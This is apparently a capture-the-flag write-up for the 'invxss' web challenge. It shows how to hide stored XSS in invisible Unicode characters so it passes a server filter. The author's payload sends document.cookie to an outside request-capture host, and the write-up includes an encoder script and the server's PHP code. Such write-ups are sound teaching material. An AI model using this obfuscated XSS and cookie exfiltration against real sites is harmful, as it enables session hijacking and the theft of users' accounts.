web web

invxss

hofill ROCSC25 Quals
web xss unicode obfuscation

Flag

CTF{01d61ad90843b361d128ec1ac7199d323e20a6c372f3ea2c4a9d0e45a9fa4e5b}

Summary

Invisible XSS payload crafting using Unicode zero-width characters as a binary encoding scheme.

Details

We have a website where we are given obfuscated JS code. That code is actually a fork of this encoder.

We rewrite the obfuscated eval code like so:

const decoderProxy = new Proxy({}, {
    get: (_, prop) => {
        return eval(
            [...prop]
                .map(char => +('' > char))
                .join(``)
                .replace(/.{8}/g, byte => String.fromCharCode(parseInt(byte, 2)))
        );
    }
});

// Call it using: decoderProxy['<invisible chars here>']

We reverse engineer it and notice that one character means 1 and the other means 0 in binary. We craft our own payload:

document.location = "https://mty6sg3u.requestrepo.com/" + document.cookie

Then encode it using the same scheme:

b_0 = "ᅠ"
b_1 = "ㅤ"

binary_to_convert = "01100100011011110110001101110101011011010110010101101110011101000010111001101100011011110110001101100001011101000110100101101111011011100010000000111101001000000010001001101000011101000111010001110000011100110011101000101111001011110110110101110100011110010011011001110011011001110011001101110101001011100111001001100101011100010111010101100101011100110111010001110010011001010111000001101111001011100110001101101111011011010010111100100010001000000010101100100000011001000110111101100011011101010110110101100101011011100111010000101110011000110110111101101111011010110110100101100101"

for b in binary_to_convert:
    if b == "0":
        print(b_0, end="")
    else:
        print(b_1, end="")

dynamic.php

The server only serves content when called with specific headers — here’s the relevant snippet:

<?php
header('Content-Type: application/json');

$requestedFrom = $_SERVER['HTTP_X_REQUESTED_FROM'] ?? null;
$referer = $_SERVER['HTTP_REFERER'] ?? null;

if ($requestedFrom === 'inline-script') {
    echo $death_by_100_cuts;
    die();
} elseif ($referer) {
    echo "";
} else {
    echo $death_by_100_cuts;
    die();
}

function filterAllowedCharacters(string $input): string {
    $allowedSequences = [
        "\xEF\xBE\xA0", // ᅠ
        "\xE3\x85\xA4"  // ㅤ
    ];

    $output = '';
    $length = strlen($input);
    $i = 0;

    while ($i < $length) {
        $matched = false;
        foreach ($allowedSequences as $sequence) {
            $seqLength = strlen($sequence);
            if (substr($input, $i, $seqLength) === $sequence) {
                $output .= $sequence;
                $i += $seqLength;
                $matched = true;
                break;
            }
        }
        if (!$matched) {
            $i++;
        }
    }

    return $output;
}

So the filter strips everything except the two Unicode sequences — which are exactly what we need.

reveal.php

if ($id) {
    $db = new SQLite3('messages.db');
    $stmt = $db->prepare("SELECT message FROM messages WHERE id = :id");
    $stmt->bindValue(':id', $id, SQLITE3_TEXT);
    $result = $stmt->execute();
    $message = $result->fetchArray(SQLITE3_ASSOC);

    if ($message) {
        echo "<script src='/dynamic.php?id=" . htmlspecialchars($id, ENT_QUOTES, 'UTF-8') . "'></script>";
    }
}

The invisible payload gets stored, passes the filter, and executes via the <script src> when the admin visits.

Resources

Online Python Editor DNXSS-over-HTTPS